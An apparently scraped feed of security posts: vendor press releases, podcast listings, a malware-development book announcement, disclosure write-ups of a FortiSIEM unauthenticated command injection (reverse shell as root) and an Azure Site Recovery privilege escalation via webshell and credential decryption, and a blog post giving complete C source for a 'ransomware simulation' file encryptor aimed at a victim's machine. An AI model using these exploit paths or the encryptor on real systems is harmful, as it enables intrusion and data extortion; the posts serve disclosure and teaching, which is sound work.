Enhancing Cybersecurity Through Collaborative Risk Management
The post Enhancing Cybersecurity Through Collaborative Risk Management appeared first on Horizon3.ai.
Business Wire 05/21/2024
Horizon3.ai, a leader in autonomous security solutions, is pleased to announce the appointments of Erick Dean as Vice President of Product Management and Drew Mullen as Vice President of Revenue Operations. These key executive hires underscore the management team Horizon3.ai continues to build, fueling significant growth.
Read the entire article here
The post Horizon3.ai Expands Leadership Team with New Appointments appeared first on Horizon3.ai.
As enterprises continue to transition on-premises infrastructure and information systems to the cloud, hybrid cloud systems have emerged as a vital solution, balancing the benefits of both environments to optimize performance, scalability, and ease of change on users and administrators. However, there can be risks involved when connecting a misconfigured or ill-protected network to cloud services. Particularly, Microsoft Active Directory environments that are compromised could lead to a full compromise of a synchronized Microsoft Entra ID tenant. Once this critical IAM platform is breached all integrity and trust of connected services is lost.Β Β
Formally known as AzureAD, Entra ID is Microsoftβs cloud-based Identity and Access Management (IAM) solution that is integrated with several Microsoft products and services β including Azure cloud resources, Office 365, and any third-party applications integrated to use the platform for identity management. To capitalize on the dominance of Active Directory (AD) for on-premises domain management and ease the transition of enterprises to cloud services, Microsoft designed Entra ID to integrate seamlessly with existing AD infrastructure using a dedicated on-premises application called MS Entra Connect (formally known as AzureAD Connect). This setup allows users to access the on-premises domain and cloud services/resources using the same credentials. Β
In the most common hybrid setup, known as Password Hash Synchronization (PHS), the Entra Connect application has highly-privileged access to both the AD and Entra environments to synchronize authentication material between the two. If an attacker breaches the Entra Connect server, they have potential paths to compromising both environments. Additionally, Entra Connect has a feature known as Seamless SSO that, when enabled, allows for password-less authentication to Microsoft cloud services, like Office 365, by utilizing the Kerberos authentication protocol. Β
A client conducted an assumed-breach internal pentest using NodeZero. NodeZero was given no prior knowledge of the clientβs Entra ID account or hybrid setup. Β
Initial Access to Domain Compromise
In this example case, NodeZero:Β
Domain Compromise to Entra Tenant Compromise
It took NodeZero an hour to compromise the on-premises AD domain, and just shy of 2 hours to fully compromise the associated Entra ID tenant. Β
The attack path above was enabled by several common on-premises misconfigurations that when combined not only compromised the AD domain, but the Entra ID tenant as well. Key findings include:Β
The post On-Prem Misconfigurations Lead to Entra Tenant CompromiseΒ appeared first on Horizon3.ai.
Mark Toussaint of OPSWAT joins to talk about his work in securing operational technology, and specifically about his role as product manager. This is an under-discussed job role within security, and requires great technical expertise, intercommunication skills and the ability to carry out long term campaigns on a product from, as he put it, initial brainstorming scribblings on a cocktail napkin through the creation of the product, all the way to its eventual retirement. Learn what it takes to connect security engineering, solutions experts, project management, and more in the role of security product manager, and how OT security connects fast, flexible IT and cybersecurity with systems that, as Toussaint put it, might be put in place and unmodified for 15 or 20 years. Itβs not that hard to connect the worlds, but it takes a specific skill set.
0:00 - Working in operational technology
1:49 - First getting into cybersecurity and tech
3:14 - Mark Toussaintβs career trajectory
5:15 - Average day as a senior product manager in OPSWAT
7:40 - Challenges in operational technology
9:11 - Effective strategist for securing OT systems
11:18 - Common attack vectors in OT security
13:41 - Skills needed to work in OT security
16:37 - Backgrounds people in OT have
17:28 - Favorite parts of OT work
19:47 - How to get OT experience as a new industry worker
21:58 - Best cybersecurity career advice
22:56 - What is OPSWAT
25:29 - Outro
β Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec
Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Β
Β
VSA Top Innovation Award 2024
The post VSA Top Innovation Award 2024 appeared first on Horizon3.ai.
VSA Channel Program of the Year 2024
The post VSA Channel Program of the Year 2024 appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
Alhamdulillah, Iβm pleased to announce that my book Malware Development For Ethical Hackers is available for pre-order on Amazon.
I dedicate this book to my wife, Laura, my son, Yerzhan, and my little princess, Munira, and I thank them for their inspiration, support, and patience.
I know that many of my readers have been waiting for this book for a long time, and many of us understand that perhaps I could not give comprehensive and exhaustive information on how to develop malware, but I am trying to my best for sharing my knowledge with community.
If you want to learn more about any area of science or technology, you will have to do your own research and work. There isnβt a single book that will answer all of your questions about the things that interest you.
I would be glad to receive feedback and am ready for dialogue. There will be many posts about the book in the near future as it is about to be published.
I thank the entire team at Packt without whom this book would look different.
I also want to thank all the employees of the Butterfly Effect Company and MSSP Research Lab.
I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.
Malware Development For Ethical Hackers
Twitter post
Linkedin post
All examples are practical cases for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
In early 2023, given some early success in auditing Fortinet appliances, I continued the effort and landed upon the Fortinet FortiSIEM. Several issues were discovered during this audit that ultimately lead to unauthenticated remote code execution in the context of the root user. The vulnerabilities were assigned CVE-2023-34992 with a CVSS3.0 score of 10.0 given that the access allowed reading of secrets for integrated systems, allowing for pivoting into those systems.
The FortiSIEM allows customers to do many of the expected functions of a typical SIEM solution such as log collection, correlation, automated response, and remediation. It also allows for simple and complex deployments ranging from a standalone appliance to scaled out solutions for enterprises and MSPs.
In a FortiSIEM deployment, there are four types of roles that a system can have:
β Supervisor β for smaller deployments this is all thatβs needed, and supervises other roles
β Worker β handles all the data coming from Collectors in larger environments
β Collector β used to scale data collection from various geographically separated network
environments, potentially behind firewalls
β Manager β can be used to monitor and manage multiple FortiSIEM instances
For the purposes of this research, I deployed an all-in-one architecture where the appliance contains all of the functionality within the Supervisor role. For more information about FortiSIEM key concepts refer to the documentation.
One of the first things we do when auditing an appliance is to inspect the listening services given you have some time of shell access. Starting with the most obvious service, the web service, we see that it listens of tcp/443 and the proxy configuration routes traffic to an internal service listening on tcp/8080.
Figure 2. httpd.conf proxying traffic
We find that the backend web service is deployed via Glassfish, a Java framework similar to Tomcat in that it provides a simple way to deploy Java applications as WAR files. We find the WAR file that backs the service, unpack it, and decompile it. Inspecting some of the unauthenticated attack surface, we happen upon the LicenseUploadServlet.class
.
Figure 4. LicenseUploadServlet doPost method
We follow the code into this.notify()
, where we eventually observe it calling sendCommand()
, which interestingly sends a custom binary message with our input to the port tcp/7900.
We find that tcp/7900 hosts the phMonitor service, which listens on all interfaces, not just localhost.
Figure 6. phMonitor on tcp/7900
And it is also a compiled C++ binary.
Now that weβve identified a pretty interesting attack surface, letβs build a client to interact with it in the same way the web service does. The message format is a pretty simple combination of:
Constructing the LicenseUpload message in little-endian format and sending it over an SSL wrapped socket will succeed in communicating with the service. Re-implementing the client messaging protocol in Python looks like the following:
Figure 7. phMonitor Python client
As a test that the client works, we send a command type of 29, mapped to handleProvisionServer
, and can observe in the logs located at /opt/phoenix/log/phoenix.log
that the message was delivered.
Figure 8. phMonitor client successful message sent
The phMonitor service marshals incoming requests to their appropriate function handlers based on the type of command sent in the API request. Each handler processes the sent payload data in their own ways, some expecting formatted strings, some expecting XML.
Inside phMonitor, at the function phMonitorProcess::initEventHandler()
, every command handler is mapped to an integer, which is passed in the command message. Security Issue #1 is that all of these handlers are exposed and available for any remote client to invoke without any authentication. There are several dozen handlers exposed in initEventHandler()
, exposing much of the administrative functionality of the appliance ranging from getting and setting Collector passwords, getting and setting service passwords, initiating reverse SSH tunnels with remote collectors, and much more.
Figure 9. Sampling of handlers exposed
Given the vast amount of attack surface available unauthenticated within the phMonitor service, we begin with the easiest vulnerability classes. Tracing the calls between these handlers and calls to system()
we land of the handler handleStorageRequest()
, mapped to command type 81. On line 201, the handler expects the payload to be XML data and parses it.
Figure 10. handleStorageRequest() expecting XML payload
Later, we see that it attempts to extract the server_ip
and mount_point
values from the XML payload.
Further down on line 511, the handler formats a string with the parsed server_ip
and mount_point
values, which are user controlled.
Figure 12. Format string with user-controlled data
Finally, on line 556, the handler calls do_system_cancellable()
, which is a wrapper for system()
,Β with the user controlled command string.
Figure 13. do_system_cancellable command injection
Exploiting this issue is straightforward, we construct an XML payload that contains a malicious string to be interpreted, such as a reverse shell.
Figure 14. Reverse shell as root
Our proof of concept exploit can be found on our GitHub.
The logs in /opt/phoenix/logs/phoenix.logs
verbosely log the contents of messages received for the phMonitor service. Below is an example log when exploiting the system:
Figure 15. phoenix.logs contain payload contents
5 May 2023 β Initial report
10 October 2023 β Command injection vulnerability fixed
22 February 2024 β RingZer0 BOOTSTRAP conference talk disclosing some of these details
20 May 2024 β This blog
Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.
Β
The post CVE-2023-34992: Fortinet FortiSIEM Command Injection Deep-Dive appeared first on Horizon3.ai.
In this webinar. Horizon3.ai cybersecurity expert Brad Hong covers our new Rapid Response service, including:
β How this service enables you to preemptively defend against high-profile threats
β How our Attack Team develops its tailored threat intelligence for NodeZero users
β Best practices for monitoring the progress of nascent threats and getting ahead of mass exploitation
The post Outpace Emerging Cyber Threats with Horizon3.ai Rapid Response appeared first on Horizon3.ai.
Secure your Unix, Windows, & Web environments. OffSec's hands-on training empowers system admins to combat cyber threats.
The post Infrastructure Hardening and Proactive Defense: The System Administratorβs Toolkit appeared first on OffSec.
Today on Cyber Work, weβre talking about last Septemberβs breach of the MGM Grand Casino chain, an attack that lead to a week of tech failure, downtime and over a hundred million dollars in lost revenue. The attackers were able to get in via a point that my guest, Aaron Painter of Nametag Inc, said is a common point of failure: the request for a password and credential reset from the helpdesk, and the ever-frustrating βsecurity questionsβ approach to making sure you are who you are. Nametag is built to create an alternative to security questions and go beyond MFA to create a method of verification that is even resistant to AI Deepfake attempts!Β
This conversation goes into lots of interesting spaces, including career mapping, the importance of diverse design teams and the benefits of security awareness training, plus you get to learn about an amazing piece of emergent tech!
0:00 - A new method of online verification
3:15 - First getting into cybersecurity and computers
7:03 - Aaron Painter's work experiencesΒ
10:37 - Learning cybersecurity around the world
11:32 - Starting Nametag
16:25 - Average work week as Nametag CEO
19:10 - Cybersecurity learning methods
21:15 - The MGM cyberattack explained
26:07 - MGM fail safes bad actors surpassedΒ
29:26 - Security awareness trainingΒ
31:35 - Are data breaches the new normal
34:05 - How Nametag safeguards online data
37:59 - AI deepfakesΒ
40:19 - Using Nametag
42:20 - How to learn AI deep fake defense
44:14 - Design choices in digital identityΒ
45:54 - Different backgrounds in cybersecurityΒ
46:59 - Aaron Painter's favorite part of his work
48:01 - Best cybersecurity career advice
49:00 - Learn more about Nametag
50:06 - Outro
β Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec
Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Adversary Academy recently completed a long-term red team (assume breach) assessment for a large restaurant franchise. While performing the assessment an Azure Site Recovery server was found to be an attractive target in the environment. Part of our service offering is our targeted vulnerability research (TVR) program. The challenge Iβve seen with most pentest or redteam providers is that there is typically a lack of vulnerability and exploit research capabilities. Meaning if there are not known vulnerabilities with public exploit code affecting a network or environment the pentest provider can't find exploitable systems. Pentest providers typically lack full-time exploit and vulnerability development capabilities. In order to address that issue we run a program that allows our researchers to spend time attacking interesting systems theyβve encountered on customer networks, long after the engagement is overβ¦ or in this case during an engagement.
Typically on a penetration test a tester's βspidey sensesβ will go off at some point when you encounter a system that just feels vulnerable, or impactful if it were to be vulnerable. Our spidey senses went off when we gained access to an Azure Site Recovery (ASR) server because there appeared to be a large number of services communicating both inbound and outbound to the server as well as traffic to the customer's Azure environment. Documentation revealed that when fully deployed ASR has rights to read and write virtual machines from on-site VMware or Hyper-v systems and upload them to the Azure cloud for cloud-to-cloud disaster recovery.
While performing the engagement the research phase began immediately and we discovered a number of interesting bugs on the SRM server after we gained access toΒ it.
Beginning our research we found that Azure SRM is site disaster recovery for one Azure region to another region or physical to theΒ cloud.
SRM can replicate on-premises hypervisors VMware, Hyper-V, physical servers (Windows and Linux), or Azure Stacks to AzureΒ sites.
Basically, Microsoft said, βWe will support anything other than AWS orΒ GCP!β
As we started our research we found roughly 20 previous CVEs affecting Microsoft Azure SRM, most were EoP and most were found in 2022. Hopefully, we could find something new.
Our research mindset typically includes mapping out application behaviors and what could go wrong with misconfigurations, logic flaws, or historically problematic issues (in this caseΒ EoP).
We started by reviewing features, capabilities, and processes in Azure SRM and foundΒ that:
Once this behavior was documented we decided that the web server privileges might be important, and the WMI credentials stored in the local database were definitely valuable targets to begin attacking.
Reviewing files accessed on startup by the services showed us that a config file named amethyst is read on startup. Here was the first bug weΒ found.
The amethyst config file contains the plaintext mysql DB root username and password, this allows us to interact with the local database asΒ root.
Connecting to the mysql database we began to debug and monitor the mysql queries that were executed by the server. Here we found our attackΒ target.
We found php code responsible for executing the query that decrypts and uses the credentials we want access to. The first roadblock encountered is that we are not able to read the Encryption.key file as a standardΒ user.
After some research and failed attempts, we found a Solution!
If the process responsible for handling the php / mysql queries has access to the key, we must become theΒ process.
As our standard user account on the server, we donβt have the SeImpersonatePrivilege, we don't have an admin account on the server either. So we needed to find a bug affecting the webΒ server.
Further research allowed us to find a directory on the server where the web server / php code isnβt properly secured. We can write a webshell to this directory and βbecomeβ the web serverΒ process.
We then can use SEImpersonatePrivilege to read the encryption.key
The final challenge was overcoming some weird character-handling behavior by MySQL which can't handle the characters in the encryption.key inline, so store it as a variable to use the key and decrypt the admin credentials.
After discovering the bugs and disclosing the credentials used by SRM the team was able to access the Vsphere environment, took snapshots of the domain controllers, and performed offline attacks to recover Enterprise and Domain admin access. After exploiting the issues we reported the vulnerability to Microsoft and received recognition for CVE-2024β21364 with a patch becoming available several monthsΒ later.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.
At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.
First of all, our encryption and decryption functions are the same:
void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// encryption
for (int i = 0; i < msg_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = msg[i] ^ key_byte;
}
}
void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// decryption
for (int i = 0; i < cipher_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = cipher[i] ^ key_byte;
}
}
The next piece of code implemented file encryption and decryption logic via previous functions:
void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// calculate the padding size
size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;
// pad the file data
size_t paddedSize = fileSize.LowPart + paddingSize;
unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
memcpy(paddedData, fileData, fileSize.LowPart);
memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);
// encrypt the padded data
for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
}
// write the encrypted data to the output file
DWORD bw;
WriteFile(ofh, paddedData, paddedSize, &bw, NULL);
printf("a5/1 encryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(paddedData);
}
void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// decrypt the file data using A5/1 encryption
for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
}
// calculate the padding size
size_t paddingSize = fileData[fileSize.LowPart - 1];
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
size_t originalSize = fileSize.LowPart - paddingSize;
unsigned char* originalData = (unsigned char*)malloc(originalSize);
memcpy(originalData, fileData, originalSize);
// write the decrypted data to the output file
DWORD bw;
WriteFile(ofh, originalData, originalSize, &bw, NULL);
printf("a5/1 decryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(originalData);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
}
}
As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8)
bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:
void add_padding(HANDLE fh) {
LARGE_INTEGER fs;
GetFileSizeEx(fh, &fs);
size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
if (paddingS != A51_BLOCK_SIZE) {
SetFilePointer(fh, 0, NULL, FILE_END);
for (size_t i = 0; i < paddingS; ++i) {
char paddingB = static_cast<char>(paddingS);
WriteFile(fh, &paddingB, 1, NULL, NULL);
}
}
}
void remove_padding(HANDLE fileHandle) {
LARGE_INTEGER fileSize;
GetFileSizeEx(fileHandle, &fileSize);
// determine the padding size
DWORD paddingSize;
SetFilePointer(fileHandle, -1, NULL, FILE_END);
ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
// seek back to the beginning of the padding
SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);
// read and validate the entire padding
BYTE* padding = (BYTE*)malloc(paddingSize);
DWORD bytesRead;
if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
// check if the padding bytes are valid
for (size_t i = 0; i < paddingSize; ++i) {
if (padding[i] != static_cast<char>(paddingSize)) {
// invalid padding, print an error message or handle it accordingly
printf("invalid padding found in the file.\n");
free(padding);
return;
}
}
// truncate the file at the position of the last complete block
SetEndOfFile(fileHandle);
} else {
// error reading the padding bytes, print an error message or handle it accordingly
printf("error reading padding bytes from the file.\n");
}
free(padding);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
}
}
The full source code is looks like this hack.c
:
/*
* hack.c
* encrypt/decrypt file via GSM A5/1 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8
void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// encryption
for (int i = 0; i < msg_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = msg[i] ^ key_byte;
}
}
void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// decryption
for (int i = 0; i < cipher_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = cipher[i] ^ key_byte;
}
}
void add_padding(HANDLE fh) {
LARGE_INTEGER fs;
GetFileSizeEx(fh, &fs);
size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
if (paddingS != A51_BLOCK_SIZE) {
SetFilePointer(fh, 0, NULL, FILE_END);
for (size_t i = 0; i < paddingS; ++i) {
char paddingB = static_cast<char>(paddingS);
WriteFile(fh, &paddingB, 1, NULL, NULL);
}
}
}
void remove_padding(HANDLE fileHandle) {
LARGE_INTEGER fileSize;
GetFileSizeEx(fileHandle, &fileSize);
// determine the padding size
DWORD paddingSize;
SetFilePointer(fileHandle, -1, NULL, FILE_END);
ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
// seek back to the beginning of the padding
SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);
// read and validate the entire padding
BYTE* padding = (BYTE*)malloc(paddingSize);
DWORD bytesRead;
if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
// check if the padding bytes are valid
for (size_t i = 0; i < paddingSize; ++i) {
if (padding[i] != static_cast<char>(paddingSize)) {
// invalid padding, print an error message or handle it accordingly
printf("invalid padding found in the file.\n");
free(padding);
return;
}
}
// truncate the file at the position of the last complete block
SetEndOfFile(fileHandle);
} else {
// error reading the padding bytes, print an error message or handle it accordingly
printf("error reading padding bytes from the file.\n");
}
free(padding);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
}
}
void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// calculate the padding size
size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;
// pad the file data
size_t paddedSize = fileSize.LowPart + paddingSize;
unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
memcpy(paddedData, fileData, fileSize.LowPart);
memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);
// encrypt the padded data
for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
}
// write the encrypted data to the output file
DWORD bw;
WriteFile(ofh, paddedData, paddedSize, &bw, NULL);
printf("a5/1 encryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(paddedData);
}
void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// decrypt the file data using A5/1 encryption
for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
}
// calculate the padding size
size_t paddingSize = fileData[fileSize.LowPart - 1];
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
size_t originalSize = fileSize.LowPart - paddingSize;
unsigned char* originalData = (unsigned char*)malloc(originalSize);
memcpy(originalData, fileData, originalSize);
// write the decrypted data to the output file
DWORD bw;
WriteFile(ofh, originalData, originalSize, &bw, NULL);
printf("a5/1 decryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(originalData);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
}
}
int main() {
const char* inputFile = "Z:\\test.txt";
const char* outputFile = "Z:\\test.txt.a51";
const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
encrypt_file(inputFile, outputFile, key);
decrypt_file(outputFile, decryptedFile, key);
return 0;
}
As you can see, as usual, for test I just encrypt file test.txt
and decrypt it.
cat test.txt
Letβs see everything in action, compile our PoC code:
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
and letβs say we have a test.txt
file in the Z:\\
path on the victimβs machine:
